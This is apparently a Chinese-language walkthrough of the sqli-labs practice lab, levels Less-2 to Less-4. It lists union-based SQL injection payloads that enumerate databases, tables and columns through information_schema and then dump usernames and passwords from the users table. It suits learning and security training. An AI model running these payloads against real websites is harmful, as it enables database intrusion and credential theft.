SQL之sqli-labs注入Less-2~4

一、Less-2

1. 与Less-1相同，我们同样使用?id=1'看是否可以注入, 发现不可以,并且提示错误，我们可以知道，这里不需要引号，这就是与Less-1不同的地方，除此之外，以下步骤与Less-1相同
   2.接下来我们使用 order by 查看有多少列
   仍然有三列
   ? id=1 order by 3--+3.使用联合查询 union select 看有哪些数据可以回显
   ?id=1 union select 1,2,3–+
   4.接下来查询所有数据库
   ?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata–+5.继续查询表
   ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479–+6.再查询列
   ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273–+7.最后取出所有数据
   ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users–+
   二、Less-3
   1.通过进行测试，我们可以发现Less-3与前面不同的是多了一个括号
   2.其下步骤与1,2相同
   最后取出数据
   ?id=-1’) union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users–+
   三、Less-4
   1.继续通过测试，我们会发现Less-4也是一样的操作，根据提示，发现不一样的是Less-4是双引号+括号
   2.其他的都是相同的